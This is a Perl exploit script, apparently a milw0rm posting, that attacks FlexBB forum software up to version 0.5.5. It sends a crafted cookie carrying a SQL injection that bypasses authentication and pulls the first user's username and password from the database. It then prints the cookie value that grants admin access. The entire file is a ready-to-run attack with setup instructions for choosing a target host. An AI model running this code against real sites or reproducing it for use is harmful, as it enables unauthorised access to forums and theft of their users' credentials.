#!/usr/bin/perl -w # FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit , Perl C0d3 # # Milw0rm ID :- # http://www.milw0rm.com/auth.php?id=1539 # D3vil-0x1 | Devil-00 < BlackHat > :) # # DONT FORGET TO DO YOUR CONFIG !! # DONT FORGET TO DO YOUR CONFIG !! # DONT FORGET TO DO YOUR CONFIG !! use IO::Socket;
##-- Start --# $host = "127.0.0.1"; $path = "/flexbb/"; ##-- _END_ --## # $host :- # The Host Name Without http:// | exm. www.vic.com # # $path :- # FlexBB Dir On Server | exm. /flexbb/ $sock = IO::Socket::INET->new ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp" ) or die("[!] Connect To Server Was Filed"); ##-- DONT TRY TO EDIT ME --## $evilcookie = "flexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;"; ##-- DONT TRY TO EDIT ME --## $evildata = "GET ".$path."index.php?action=buddypopup HTTP/1.1\n"; $evildata .= "Host: $host \n"; $evildata .= "Accept: */* \n"; $evildata .= "Keep-Alive: 300\n"; $evildata .= "Connection: keep-alive \n"; $evildata .= "Cookie: ".$evilcookie."\n\n"; print $sock $evildata; while($ans = <$sock>){ #<a href="./admin/index.php"> if($ans =~ m/<a href=\".\/admin\/index.php">(.*?)<\/a>/){ print "\n[+] Bypass [ OKAY ] Edit your cookies :-\n\n"; print "\tflexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;\n\n"; exit; } }